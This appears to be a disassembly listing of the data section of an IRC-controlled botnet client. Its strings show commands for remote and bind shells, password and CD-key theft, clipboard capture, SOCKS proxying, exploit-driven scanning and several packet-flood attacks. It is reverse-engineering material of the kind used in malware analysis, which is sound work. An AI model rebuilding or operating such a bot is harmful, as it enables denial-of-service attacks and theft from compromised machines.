dword_42C120	dd 234032Dh, 65726874h,	2736461h, 4C202D03h, 20747369h
					; DATA XREF: sub_401ACD+295Bo
		dd 65726874h, 2E736461h, 0
dword_42C140	dd 627573h		; DATA XREF: sub_401ACD+2935o
dword_42C144	dd 234032Dh, 6E69616Dh,	202D0302h, 61696C41h, 696C2073h
					; DATA XREF: sub_401ACD+28E3o
		dd 2E7473h
unk_42C15C	db  2Dh	; -		; DATA XREF: sub_401ACD+28C8o
		db 3, 34h, 2
		db  6Ch	; l
		db 6Fh,	67h, 2
		db    3
aFailedToSta_23	db '- Failed to start listing thread, error: <%d>.',0
dword_42C194	dd 234032Dh, 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh
					; DATA XREF: sub_401ACD+2859o
		dd 2E676Fh
dword_42C1AC	dd 234032Dh, 6E69616Dh,	202D0302h, 7774654Eh, 206B726Fh
					; DATA XREF: sub_401ACD+27B4o
		dd 6F666E49h, 2Eh
dword_42C1C8	dd 234032Dh, 6E69616Dh,	202D0302h, 74737953h, 49206D65h
					; DATA XREF: sub_401ACD+2785o
		dd 2E6F666Eh, 0
dword_42C1E4	dd 234032Dh, 6E69616Dh,	202D0302h, 6F6D6552h, 676E6976h
					; DATA XREF: sub_401ACD+2730o
		dd 746F4220h, 2Eh
unk_42C200	db  2Dh	; -		; DATA XREF: sub_401ACD+2714o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToSta_24	db ' Failed to start listing thread, error: <%d>.',0
		align 4
dword_42C23C	dd 234032Dh, 636F7270h,	2D030273h, 6F725020h, 73656363h
					; DATA XREF: sub_401ACD+269Fo
		dd 696C2073h, 2E7473h
aFull		db 'full',0             ; DATA XREF: sub_401ACD+267Fo
		align 10h
unk_42C260	db  2Dh	; -		; DATA XREF: sub_401ACD+261Do
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aAlreadyRunni_3	db ' Already running.',0
		align 10h
dword_42C280	dd 234032Dh, 656B6463h,	3027379h ; DATA	XREF: sub_401ACD+25FAo
aSearchComplete	db '- Search completed.',0
dword_42C2A0	dd 234032Dh, 6E69616Dh,	202D0302h, 69747055h, 203A656Dh
					; DATA XREF: sub_401ACD+25AEo
		dd 2E7325h
unk_42C2B8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403FEBo
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellRea	db '- Remote shell ready.',0
		align 4
unk_42C2D8	db  2Dh	; -		; DATA XREF: sub_401ACD+2514o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aCouldnTOpenRem	db '- Couldn',27h,'t open remote shell.',0
		align 10h
unk_42C300	db  2Dh	; -		; DATA XREF: sub_401ACD+24F5o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aRemoteShellAlr	db '- Remote shell already running.',0
		align 4
dword_42C32C	dd 234032Dh, 6E69616Dh,	202D0302h, 20746547h, 70696C43h
					; DATA XREF: sub_401ACD+24DFo
		dd 72616F62h, 2E64h
dword_42C348	dd 234032Dh, 70696C63h,	72616F62h, 61642064h, 3026174h
					; DATA XREF: sub_401ACD+24B1o
		dd 2Dh
unk_42C360	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F6Eo
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushA	db 'Failed to flush ARP cache.',0
		align 4
unk_42C38C	db  2Dh	; -		; DATA XREF: sub_401ACD+249Ao
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aArpCacheFlushe	db 'ARP cache flushed.',0
		align 10h
unk_42C3B0	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F43o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToLoadDn	db 'Failed to load dnsapi.dll.',0
		align 4
unk_42C3DC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403F3Co
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToFlushD	db 'Failed to flush DNS cache.',0
		align 4
unk_42C408	db  2Dh	; -		; DATA XREF: sub_401ACD+2468o
		db 3, 34h, 2
		db  66h	; f
		db 6Ch,	75h, 73h
		db  68h	; h
		db 64h,	6Eh, 73h
		db    2
		db 3, 2Dh, 20h
aDnsCacheFlushe	db 'DNS cache flushed.',0
		align 4
unk_42C42C	db  2Dh	; -		; DATA XREF: sub_401ACD+2415o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aFailedToSta_25	db '- Failed to start server thread, error: <%d>.',0
		align 4
unk_42C468	db  2Dh	; -		; DATA XREF: sub_401ACD+23A6o
		db 3, 34h, 2
		db  72h	; r
		db 6Ch,	6Fh, 67h
		db  69h	; i
		db 6Eh,	64h, 2
		db    3
aServerListenin	db '- Server listening on IP: %s:%d, Username: %s.',0
unk_42C4A4	db  2Dh	; -		; DATA XREF: sub_401ACD+22C0o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_26	db ' Failed to start server thread, error: <%d>.',0
		align 10h
unk_42C4E0	db  2Dh	; -		; DATA XREF: sub_401ACD+2255o
					; sub_40BACE+449o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerListen_0	db ' Server listening on IP: %s:%d, Directory: %s\.',0
unk_42C51C	db  2Dh	; -		; DATA XREF: sub_401ACD+214Eo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_27	db ' Failed to start server thread, error: <%d>.',0
		align 4
unk_42C558	db  2Dh	; -		; DATA XREF: sub_401ACD+20DFo
					; sub_40BACE+DAo
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aServerStarte_1	db ' Server started on Port: %d, File: %s.',0
		align 4
unk_42C58C	db  2Dh	; -		; DATA XREF: sub_401ACD+202Ao
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aAlreadyRunni_4	db ' Already running.',0
		align 4
unk_42C5AC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_403AE1o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_28	db '- Failed to start scan, port is invalid.',0
		align 4
unk_42C5E4	db  2Dh	; -		; DATA XREF: sub_401ACD+1FC4o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aFailedToSta_29	db '- Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42C620	db  2Dh	; -		; DATA XREF: sub_401ACD+1F53o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aSPortScanSta_0	db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d'
		db ' minutes using %d threads.',0
		align 4
aSequential	db 'Sequential',0       ; DATA XREF: sub_401ACD+1F28o
					; sub_401ACD+5BEFo
		align 4
aRandom		db 'Random',0           ; DATA XREF: sub_401ACD+1F21o
					; sub_401ACD+5BE8o
		align 10h
unk_42C6A0	db  2Dh	; -		; DATA XREF: sub_401ACD+1D6Eo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db  61h	; a
		db 2 dup(6Ch), 2
		db    3
aAlreadyDScan_0	db '- Already %d scanning threads. Too many specified.',0
unk_42C6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+1D10o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToSta_30	db 'Failed to start search thread, error: <%d>.',0
unk_42C71C	db  2Dh	; -		; DATA XREF: sub_401ACD+1C96o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aSearchingForPa	db 'Searching for password.',0
aFp		db 'fp',0               ; DATA XREF: sub_401ACD+1C4Do
		align 4
aFindpass	db 'findpass',0         ; DATA XREF: sub_401ACD+1C3Co
		align 4
aNoticeSPhoning	db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o
		align 4
aPhonehome	db 'phonehome',0        ; DATA XREF: sub_401ACD+1C12o
		align 4
aAsc		db 'asc',0              ; DATA XREF: sub_401ACD+1BE8o
dword_42C788	dd 234032Dh, 6E69616Dh,	202D0302h, 73617243h, 676E6968h
					; DATA XREF: sub_401ACD+1B98o
		dd 746F6220h, 2Eh
aCrash		db 'crash',0            ; DATA XREF: sub_401ACD+1B82o
					; sub_401ACD+1BD2o
		align 4
aTftp		db 'tftp',0             ; DATA XREF: sub_401ACD+1B6Do
		align 4
aTftpserver	db 'tftpserver',0       ; DATA XREF: sub_401ACD+1B58o
		align 10h
aHttp		db 'http',0             ; DATA XREF: sub_401ACD+1B43o
		align 4
aHttpserver	db 'httpserver',0       ; DATA XREF: sub_401ACD+1B2Eo
		align 4
aRlogin		db 'rlogin',0           ; DATA XREF: sub_401ACD+1B19o
		align 4
aRloginserver	db 'rloginserver',0     ; DATA XREF: sub_401ACD+1B04o
		align 4
aCip		db 'cip',0              ; DATA XREF: sub_401ACD+1AEFo
aCurrentip	db 'currentip',0        ; DATA XREF: sub_401ACD+1ADAo
		align 4
aFdns		db 'fdns',0             ; DATA XREF: sub_401ACD+1AC5o
		align 4
aFlushdns	db 'flushdns',0         ; DATA XREF: sub_401ACD+1AB0o
		align 10h
aFarp		db 'farp',0             ; DATA XREF: sub_401ACD+1A9Bo
		align 4
aFlusharp	db 'flusharp',0         ; DATA XREF: sub_401ACD+1A86o
		align 4
aGc		db 'gc',0               ; DATA XREF: sub_401ACD+1A71o
		align 4
aGetclip	db 'getclip',0          ; DATA XREF: sub_401ACD+1A5Co
unk_42C830	db  2Dh	; -		; DATA XREF: sub_401ACD+1A1Eo
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 73h
		db  70h	; p
		db 2 dup(6Fh), 66h
		db  29h	; )
		db 2, 3, 2Dh
aSpoofingDisabl	db ' Spoofing disabled.',0
aOff		db 'off',0              ; DATA XREF: sub_401ACD+1A03o
					; sub_401ACD+3CB0o ...
aSpoof		db 'spoof',0            ; DATA XREF: sub_401ACD+19ECo
		align 4
unk_42C864	db  2Dh	; -		; DATA XREF: sub_401ACD+19CEo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aLoginListCompl	db 'Login list complete.',0
		align 4
aD_S		db '%d. %s',0           ; DATA XREF: sub_401ACD+1996o
		align 10h
aEmpty		db '<Empty>',0          ; DATA XREF: sub_401ACD:loc_403454o
dword_42C898	dd 234032Dh, 69676F6Ch,	696C206Eh, 3027473h, 2Dh
					; DATA XREF: sub_401ACD+195Co
dword_42C8AC	dd 6F6877h		; DATA XREF: sub_401ACD+193Fo
dword_42C8B0	dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o
dword_42C8BC	dd 6F6D6552h, 73206574h, 6C6C6568h, 0 ;	DATA XREF: sub_401ACD+192Fo
aCmdstop	db 'cmdstop',0          ; DATA XREF: sub_401ACD+1916o
aOcmd		db 'ocmd',0             ; DATA XREF: sub_401ACD+1901o
		align 4
aOpencmd	db 'opencmd',0          ; DATA XREF: sub_401ACD+18ECo
aDll		db 'dll',0              ; DATA XREF: sub_401ACD+18D7o
aTestdlls	db 'testdlls',0         ; DATA XREF: sub_401ACD+18C2o
		align 4
aDrv		db 'drv',0              ; DATA XREF: sub_401ACD+18ADo
aDriveinfo	db 'driveinfo',0        ; DATA XREF: sub_401ACD+1898o
		align 4
aUp		db 'up',0               ; DATA XREF: sub_401ACD+1883o
		align 4
aUptime		db 'uptime',0           ; DATA XREF: sub_401ACD+186Eo
		align 10h
aKey		db 'key',0              ; DATA XREF: sub_401ACD+1859o
aGetcdkeys	db 'getcdkeys',0        ; DATA XREF: sub_401ACD+1844o
		align 10h
aPs		db 'ps',0               ; DATA XREF: sub_401ACD+182Fo
		align 4
aProcs		db 'procs',0            ; DATA XREF: sub_401ACD+181Ao
		align 4
aLsp100		db 'lsp100',0           ; DATA XREF: sub_401ACD+17F0o
					; sub_401ACD+1805o
		align 4
aSi		db 'si',0               ; DATA XREF: sub_401ACD+17DBo
		align 4
aSysinfo	db 'sysinfo',0          ; DATA XREF: sub_401ACD+17C6o
aNi		db 'ni',0               ; DATA XREF: sub_401ACD+17B1o
		align 4
aNetinfo	db 'netinfo',0          ; DATA XREF: sub_401ACD+179Co
aClg		db 'clg',0              ; DATA XREF: sub_401ACD+1787o
aClearlog	db 'clearlog',0         ; DATA XREF: sub_401ACD+1772o
		align 4
aLg		db 'lg',0               ; DATA XREF: sub_401ACD+175Do
		align 10h
aLog		db 'log',0              ; DATA XREF: sub_401ACD+1748o
aAl		db 'al',0               ; DATA XREF: sub_401ACD+1733o
		align 4
aAliases	db 'aliases',0          ; DATA XREF: sub_401ACD+171Eo
aT:					; DATA XREF: sub_401ACD+1709o
					; ___:004382F8o ...
		unicode	0, <t>,0
aThreads	db 'threads',0          ; DATA XREF: sub_401ACD+16F4o
unk_42C97C	db  2Dh	; -		; DATA XREF: sub_401ACD+16C0o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToReboot	db 'Failed to reboot system.',0
		align 4
unk_42C9A4	db  2Dh	; -		; DATA XREF: sub_401ACD+16B9o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aRebootingSyste	db 'Rebooting system.',0
		align 4
aReboot		db 'reboot',0           ; DATA XREF: sub_401ACD+16A2o
		align 4
aI:					; DATA XREF: sub_401ACD+168Do
					; ___:00438304o ...
		unicode	0, <i>,0
aId		db 'id',0               ; DATA XREF: sub_401ACD+1678o
		align 4
aS_0:					; DATA XREF: sub_401ACD+1663o
					; ___:00438310o ...
		unicode	0, <s>,0
aStatus		db 'status',0           ; DATA XREF: sub_401ACD+164Eo
		align 10h
aQ:					; DATA XREF: sub_401ACD+1639o
					; ___:off_4382E8o ...
		unicode	0, <q>,0
aQuit_0		db 'quit',0             ; DATA XREF: sub_401ACD+1624o
		align 4
aDc		db 'dc',0               ; DATA XREF: sub_401ACD+160Fo
		align 10h
aDisconnect	db 'disconnect',0       ; DATA XREF: sub_401ACD+15FAo
		align 4
aR:					; DATA XREF: sub_401ACD+15E5o
					; sub_401ACD+3DA9o ...
		unicode	0, <r>,0
aReconnect	db 'reconnect',0        ; DATA XREF: sub_401ACD+15D0o
		align 4
aExplist	db 'explist',0          ; DATA XREF: sub_401ACD+15BBo
aExploitlist	db 'exploitlist',0      ; DATA XREF: sub_401ACD+15A6o
aCbstats	db 'cbstats',0          ; DATA XREF: sub_401ACD+1591o
aConnectbacksta	db 'connectbackstats',0 ; DATA XREF: sub_401ACD+157Co
		align 4
aTrstats	db 'trstats',0          ; DATA XREF: sub_401ACD+1567o
aTransferstats	db 'transferstats',0    ; DATA XREF: sub_401ACD+1552o
		align 4
aStats		db 'stats',0            ; DATA XREF: sub_401ACD+153Do
		align 4
aScanstats	db 'scanstats',0        ; DATA XREF: sub_401ACD+1528o
		align 4
dword_42CA68	dd 234032Dh, 6E616373h,	2D0302h	; DATA XREF: sub_401ACD+151Do
aScan_0		db 'Scan',0             ; DATA XREF: sub_401ACD+1518o
		align 4
aScanstop	db 'scanstop',0         ; DATA XREF: sub_401ACD+14FFo
		align 4
dword_42CA88	dd 234032Dh, 75636573h,	3026572h, 2Dh ;	DATA XREF: sub_401ACD+14F4o
aSecure_0	db 'Secure',0           ; DATA XREF: sub_401ACD+14EFo
		align 10h
aSecurestop	db 'securestop',0       ; DATA XREF: sub_401ACD+14D6o
		align 4
dword_42CAAC	dd 234032Dh, 6E6F6C63h,	3027365h, 2Dh ;	DATA XREF: sub_401ACD+14CBo
aClone		db 'Clone',0            ; DATA XREF: sub_401ACD+14C6o
		align 4
aClonestop	db 'clonestop',0        ; DATA XREF: sub_401ACD+14ADo
		align 10h
aPsstop		db 'psstop',0           ; DATA XREF: sub_401ACD+1498o
		align 4
aProcsstop	db 'procsstop',0        ; DATA XREF: sub_401ACD+1483o
		align 4
aFfstop		db 'ffstop',0           ; DATA XREF: sub_401ACD+146Eo
		align 4
aFindfilestop	db 'findfilestop',0     ; DATA XREF: sub_401ACD+1459o
		align 4
dword_42CAFC	dd 234032Dh, 70746674h,	2D030264h, 0 ; DATA XREF: sub_401ACD+144Eo
aTftpstop	db 'tftpstop',0         ; DATA XREF: sub_401ACD+1430o
		align 4
aPingstop	db 'pingstop',0         ; DATA XREF: sub_401ACD+1407o
		align 4
aUdpstop	db 'udpstop',0          ; DATA XREF: sub_401ACD+13DEo
aWisdomstop	db 'wisdomstop',0       ; DATA XREF: sub_401ACD+13B5o
		align 4
aTsunamistop	db 'tsunamistop',0      ; DATA XREF: sub_401ACD+138Co
unk_42CB44	db  2Dh	; -		; DATA XREF: sub_401ACD+1372o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aAllPacketingAc	db 'All packeting activity has been halted.',0
dword_42CB78	dd 234032Dh, 64736977h,	3026D6Fh, 2Dh ;	DATA XREF: sub_401ACD+1337o
					; sub_401ACD+13D3o
dword_42CB88	dd 64736957h, 61206D6Fh, 63617474h, 6Bh	; DATA XREF: sub_401ACD+1332o
					; sub_401ACD+13CEo
dword_42CB98	dd 234032Dh, 6E757374h,	2696D61h, 2D03h	; DATA XREF: sub_401ACD+1319o
					; sub_401ACD+13AAo
dword_42CBA8	dd 6E757354h, 20696D61h, 6F6F6C66h, 64h	; DATA XREF: sub_401ACD+1314o
					; sub_401ACD+13A5o
dword_42CBB8	dd 234032Dh, 676E6970h,	2D0302h	; DATA XREF: sub_401ACD+12B9o
					; sub_401ACD+1425o
dword_42CBC4	dd 676E6950h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+12B4o
					; sub_401ACD+1420o
dword_42CBD0	dd 234032Dh, 2706475h, 2D03h ; DATA XREF: sub_401ACD+129Bo
					; sub_401ACD+13FCo
dword_42CBDC	dd 20504455h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+1296o
					; sub_401ACD+13F7o
aPacketstop	db 'packetstop',0       ; DATA XREF: sub_401ACD+1236o
		align 4
dword_42CBF4	dd 234032Dh, 6B6E6F77h,	2D0302h	; DATA XREF: sub_401ACD+122Bo
					; sub_401ACD+12F8o
dword_42CC00	dd 6B6E6F57h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1226o
					; sub_401ACD+12F3o
aWonkstop	db 'wonkstop',0         ; DATA XREF: sub_401ACD+120Do
		align 4
dword_42CC18	dd 234032Dh, 67726174h,	3023361h, 2Dh ;	DATA XREF: sub_401ACD+1202o
					; sub_401ACD+12DAo
dword_42CC28	dd 67726154h, 66203361h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11FDo
					; sub_401ACD+12D5o
aTarga3stop	db 'targa3stop',0       ; DATA XREF: sub_401ACD+11E4o
		align 4
dword_42CC44	dd 234032Dh, 73796B73h,	3026E79h, 2Dh ;	DATA XREF: sub_401ACD+11D9o
					; sub_401ACD+1358o
dword_42CC54	dd 53796B53h, 66206E79h, 646F6F6Ch, 0 ;	DATA XREF: sub_401ACD+11D4o
					; sub_401ACD+1353o
aSkysynstop	db 'skysynstop',0       ; DATA XREF: sub_401ACD+11BBo
		align 10h
dword_42CC70	dd 234032Dh, 26E7973h, 2D03h ; DATA XREF: sub_401ACD+11B0o
					; sub_401ACD+127Ao
dword_42CC7C	dd 206E7953h, 6F6F6C66h, 64h ; DATA XREF: sub_401ACD+11ABo
					; sub_401ACD+1275o
aSynstop	db 'synstop',0          ; DATA XREF: sub_401ACD+1192o
dword_42CC90	dd 234032Dh, 736F6464h,	2D0302h	; DATA XREF: sub_401ACD+1187o
					; sub_401ACD+125Co
dword_42CC9C	dd 536F4444h, 6F6C6620h, 646Fh ; DATA XREF: sub_401ACD+1182o
					; sub_401ACD+1257o
dword_42CCA8	dd 736F6464h, 6F74732Eh, 70h ; DATA XREF: sub_401ACD+1169o
dword_42CCB4	dd 234032Dh, 69646572h,	74636572h, 2D0302h ; DATA XREF:	sub_401ACD+115Eo
dword_42CCC4	dd 20504354h, 69646572h, 74636572h, 0 ;	DATA XREF: sub_401ACD+1159o
aRedirectstop	db 'redirectstop',0     ; DATA XREF: sub_401ACD+1140o
		align 4
dword_42CCE4	dd 234032Dh, 2676F6Ch, 2D03h ; DATA XREF: sub_401ACD+1135o
dword_42CCF0	dd 20676F4Ch, 7473696Ch, 0 ; DATA XREF:	sub_401ACD+1130o
aLogstop	db 'logstop',0          ; DATA XREF: sub_401ACD+1117o
dword_42CD04	dd 234032Dh, 70747468h,	2D030264h, 0 ; DATA XREF: sub_401ACD+110Co
aHttpstop	db 'httpstop',0         ; DATA XREF: sub_401ACD+10EEo
		align 10h
dword_42CD20	dd 234032Dh, 676F6C72h,	2646E69h, 2D03h	; DATA XREF: sub_401ACD+10E3o
aRloginstop	db 'rloginstop',0       ; DATA XREF: sub_401ACD+10C5o
		align 4
dword_42CD3C	dd 234032Dh, 6B636F73h,	3023473h, 2Dh ;	DATA XREF: sub_401ACD+10BDo
aSocks4stop	db 'socks4stop',0       ; DATA XREF: sub_401ACD+109Fo
		align 4
aS4		db 's4',0               ; DATA XREF: sub_401ACD+108Ao
		align 4
aSocks4		db 'socks4',0           ; DATA XREF: sub_401ACD+1075o
		align 4
dword_42CD64	dd 234032Dh, 646E6962h,	6C656873h, 2D03026Ch, 0
					; DATA XREF: sub_401ACD+1053o
aServer_0	db 'Server',0           ; DATA XREF: sub_401ACD+104Eo
					; sub_401ACD+10B8o ...
		align 10h
aBindshellstop	db 'bindshellstop',0    ; DATA XREF: sub_401ACD+1035o
		align 10h
aBd		db 'bd',0               ; DATA XREF: sub_401ACD+1020o
		align 4
aBindshell	db 'bindshell',0        ; DATA XREF: sub_401ACD+100Bo
		align 10h
aUnsec		db 'unsec',0            ; DATA XREF: sub_401ACD+FF6o
		align 4
aUnsecure	db 'unsecure',0         ; DATA XREF: sub_401ACD+FE1o
		align 4
aSec		db 'sec',0              ; DATA XREF: sub_401ACD+FCCo
					; sub_401ACD+2D6Ao
aSecure		db 'secure',0           ; DATA XREF: sub_401ACD+FB7o
					; sub_401ACD+2D59o
		align 10h
aSt		db 'st',0               ; DATA XREF: sub_401ACD+FA2o
		align 4
aSpeedtest	db 'speedtest',0        ; DATA XREF: sub_401ACD+F8Do
		align 10h
aDed		db 'ded',0              ; DATA XREF: sub_401ACD+F78o
aDedication	db 'dedication',0       ; DATA XREF: sub_401ACD+F63o
		align 10h
aVer		db 'ver',0              ; DATA XREF: sub_401ACD+F4Eo
aVersion	db 'version',0          ; DATA XREF: sub_401ACD+F39o
aLo		db 'lo',0               ; DATA XREF: sub_401ACD+F24o
		align 10h
aLogout		db 'logout',0           ; DATA XREF: sub_401ACD+F0Fo
		align 4
aD:					; DATA XREF: sub_401ACD+EFAo
					; ___:00438314o ...
		unicode	0, <d>,0
aDie		db 'die',0              ; DATA XREF: sub_401ACD+EE5o
aRn		db 'rn',0               ; DATA XREF: sub_401ACD+ED0o
		align 4
aRndnick	db 'rndnick',0          ; DATA XREF: sub_401ACD+EB8o
a63		db '63',0               ; DATA XREF: sub_401ACD+D85o
		align 10h
asc_42CE10:				; DATA XREF: sub_401ACD+D5Do
		unicode	0, <)>,0
aChr		db '$chr(',0            ; DATA XREF: sub_401ACD+D20o
		align 4
aServer_1	db '$server',0          ; DATA XREF: sub_401ACD+D15o
aRndnick_0	db '$rndnick',0         ; DATA XREF: sub_401ACD+D04o
		align 10h
aChan		db '$chan',0            ; DATA XREF: sub_401ACD+CE8o
		align 4
aUser_0		db '$user',0            ; DATA XREF: sub_401ACD+CD7o
		align 10h
aMe		db '$me',0              ; DATA XREF: sub_401ACD+CC5o
aD_0		db '$%d',0              ; DATA XREF: sub_401ACD+C57o
aD_1		db '$%d-',0             ; DATA XREF: sub_401ACD+B93o
		align 10h
asc_42CE50:				; DATA XREF: sub_401ACD+ABBo
					; ___:0043832Co ...
		unicode	0, <l>,0
unk_42CE54	db  2Dh	; -		; DATA XREF: sub_401ACD+A80o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFailedByUn	db '- Chat failed by unauthorized user: %s.',0
		align 4
unk_42CE88	db  2Dh	; -		; DATA XREF: sub_401ACD+A6Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatAlreadyAct	db '- Chat already active with user: %s.',0
		align 4
unk_42CEB8	db  2Dh	; -		; DATA XREF: sub_401ACD+A5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_31	db '- Failed to start chat thread, error: <%d>.',0
		align 10h
unk_42CEF0	db  2Dh	; -		; DATA XREF: sub_401ACD+9EFo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aChatFromUserS_	db '- Chat from user: %s.',0
		align 10h
aChat		db 'CHAT',0             ; DATA XREF: sub_401ACD+958o
		align 4
unk_42CF18	db  2Dh	; -		; DATA XREF: sub_401ACD+938o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFa	db '- Receive file: ',27h,'%s',27h,' failed from unauthorized user: %s.',0
		align 4
unk_42CF5C	db  2Dh	; -		; DATA XREF: sub_401ACD+920o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSta_32	db '- Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42CF98	dd 49544F4Eh, 25204543h, 13A2073h, 474E4950h, 1732520h
					; DATA XREF: sub_401ACD+90Fo
		dd 0A0Dh
dword_42CFB0	dd 4E495001h, 47h	; DATA XREF: sub_401ACD+8DBo
dword_42CFB8	dd 49544F4Eh, 25204543h, 13A2073h, 53524556h, 204E4F49h
					; DATA XREF: sub_401ACD+8D0o
		dd 0D017325h, 0Ah
dword_42CFD4	dd 52455601h, 4E4F4953h, 1 ; DATA XREF:	sub_401ACD+89Fo
dword_42CFE0	dd 23h			; DATA XREF: sub_401ACD+816o
					; sub_40CA80+1Bo
unk_42CFE4	db  2Dh	; -		; DATA XREF: sub_401ACD+785o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceiveFileSFr	db '- Receive file: ',27h,'%s',27h,' from user: %s.',0
		align 4
aS_1		db '%s',0               ; DATA XREF: sub_401ACD+706o
					; sub_401ACD+995o ...
		align 4
aSend_0		db 'SEND',0             ; DATA XREF: sub_401ACD+6DFo
		align 10h
dword_42D020	dd 43434401h, 0		; DATA XREF: sub_401ACD+6C1o
dword_42D028	dd 323333h		; DATA XREF: sub_401ACD+64Bo
					; sub_401ACD+ADDo ...
aNotice		db 'NOTICE',0           ; DATA XREF: sub_401ACD+629o
					; sub_409A73+Fo
		align 4
aPrivmsg	db 'PRIVMSG',0          ; DATA XREF: sub_401ACD+61Do
					; sub_409A73+16o
unk_42D03C	db  2Dh	; -		; DATA XREF: sub_401ACD+5CCo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedOut	db 'User: %s logged out.',0
		align 10h
unk_42D060	db  2Dh	; -		; DATA XREF: sub_401ACD+5A5o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aJoinedChanne_0	db 'Joined channel: %s.',0
a353		db '353',0              ; DATA XREF: sub_401ACD+574o
aQuit		db 'QUIT',0             ; DATA XREF: sub_401ACD+537o
		align 4
aPart		db 'PART',0             ; DATA XREF: sub_401ACD+526o
					; sub_401ACD+5E9o
		align 4
aSS		db ':%s%s',0            ; DATA XREF: sub_401ACD+4FEo
		align 4
aNick		db 'NICK',0             ; DATA XREF: sub_401ACD+3D0o
		align 4
aNoticeSS	db 'NOTICE %s :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+371o
					; sub_401ACD+60Do
unk_42D0B4	db  2Dh	; -		; DATA XREF: sub_401ACD+355o
					; sub_401ACD+2EBDo ...
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedO_0	db 'User %s logged out.',0
aKick		db 'KICK',0             ; DATA XREF: sub_401ACD+2E4o
		align 4
aNickS		db 'NICK %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+28Do
					; sub_401ACD+7C8Fo ...
		align 4
